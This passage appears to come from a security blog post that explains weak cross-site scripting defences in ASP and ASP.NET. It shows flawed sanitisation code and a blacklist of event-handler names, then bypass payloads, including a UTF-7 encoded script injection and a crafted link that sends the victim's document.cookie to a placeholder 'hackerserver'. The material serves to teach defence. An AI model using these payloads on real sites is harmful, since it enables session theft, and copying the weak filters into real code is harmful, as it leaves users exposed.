&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;fooString= Request.querystring("foo")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;//&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;LetsStopCrossSiteScripting&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, "&amp;lt;", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, "&amp;gt;", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, "%", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;fooString = Replace(fooString, ",", " ")&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Response.Write fooString &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;%&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Exploit Technique to bypass this validation&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Attacker can use alternate representations for characters, in this case using encoding for the payload &amp;lt;script&amp;gt;alert(‘Foo is vulnerable to XSS’)&amp;lt;/script&amp;gt; can successfully bypass this validation and attack the application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Attack Payload : &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;?foo=%2bADw-script%2bAD4-alert('got%20cha')%2bADw-/script%2bAD4-&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Some more examples of weak XSS validations&amp;nbsp;&lt;/SPAN&gt;&lt;/B&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;a)&lt;SPAN style="mso-tab-count: 1"&gt; &lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;SanitizeInput&lt;/B&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;private string SanitizeInput(string input)&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;{&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-tab-count: 4"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;Regex badCharReplace = new Regex(@""([&amp;lt;&amp;gt;""""'%;()&amp;amp;])"");"&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="mso-tab-count: 3"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;b)&lt;SPAN style="mso-tab-count: 1"&gt; &lt;/SPAN&gt;Security Configuration file :&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;stopXSS.xml&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/B&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;stopXSS&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;(&amp;amp;lt;\s*(object|img|applet|embed|form|\/object|\/applet|\/embed|\/form))|oncontrolselect|oncopy&lt;BR&gt;|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|&lt;BR&gt;ondblclick|ondrag|ondragend|ondragenter|ondragleave|ondragover|ondragstart|ondrop|&lt;BR&gt;onerror|onerrorupdate|onfilterchange|onfinish|onfocus|onfocusenter|onfocusleave|onhelp|&lt;BR&gt;|onabort|onafterprint|onafterupdate|onbeforecopy|onbeforecut|onbeforeeditfocus|&lt;BR&gt;onbeforefocusenter|onbeforefocusleave|onbeforepaste|onbeforeprint|onbeforeunload|&lt;BR&gt;onbeforeupdate|onblur|onbounce|oncellchange|onchange|onclick|oncontextmenu|&lt;BR&gt;onkeydown|onkeypress|onkeyup|onlayoutcomplete|onload|onlosecapture|onmousedown&lt;BR&gt;|onmouseenter|onmouseleave|onmousemove|onmouseout|onmouseover|onmouseup|&lt;BR&gt;onpaste|onpropertychange|onreadystatechange|onreset|onresize|onresizeend|onresizestart|&lt;BR&gt;onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onselect|onselectiontypechange|&lt;BR&gt;onselectstart|onstart|onstop|onsubmit|onunload|(&amp;amp;lt;.*&amp;amp;gt;)|eval\s*\(|(event\s*=)|\&amp;amp;lt;\%&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/stopXSS&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;BR&gt;c)&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;Replacing char(34)&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;%&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if request("name") &amp;lt;&amp;gt; "" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; str = replace(request("name"),chr(34),"&amp;amp;quot;") &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; end if &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;%&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Now, let’s look at some Inappropriate output encoding&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&lt;/SPAN&gt;examples &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Calibri; mso-bidi-font-size: 11.0pt"&gt;a)&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Calibri; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Server.HTMLEncode()&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;This is Sample.aspx&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Welcome to Foo!!!!&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Server.HTMLEncode(&amp;lt;%= (Request.Params["Search"])%&amp;gt;);&amp;nbsp; &lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;/html&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;•&lt;SPAN style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/SPAN&gt;&lt;B style="mso-bidi-font-weight: normal"&gt;Exploit payload to bypass this encoding is given below &lt;/B&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&amp;lt;a id=evilLink&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')" mce_href="http://victimsite.com/sample.aspx?Search='search+string'%3Bw%3Dwindow.open('http%3A%2F%2Fhackerserver%2Fhackersite%2F%3F'%2Bdocument.cookie%2C'wname'%2C'width%3D10%2Cheight%3D10')%3BsetTimeout('w.close()'%2C1000)%3Balert('Please+try+again')"&amp;gt;http://victimsite.com/default.aspx&amp;lt;/a&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;The above payload does not have any &amp;lt;script&amp;gt; tags so it easily bypasses the encoding routine.&lt;SPAN style="mso-spacerun: yes"&gt;&amp;nbsp; &lt;/SPAN&gt;&lt;BR&gt;&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN: 0in 0in 0pt"&gt;&lt;SPAN style="FONT-SIZE: 6pt; FONT-FAMILY: 'Arial','sans-serif'; mso-fareast-font-family: Calibri; mso-bidi-font-size: 7.0pt"&gt;&amp;nbsp;&lt;/SPAN&gt;&lt;SPAN style="FONT-SIZE: 10pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 11.0pt"&gt;Another example for inappropriate use of Server.HtmlEncode()&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoListParagraph style="MARGIN: 0in 0in 0pt 0.25in"&gt;&lt;SPAN style="FONT-SIZE: 9pt; FONT-FAMILY: 'Arial','sans-serif'; mso-bidi-font-size: 10.0pt"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
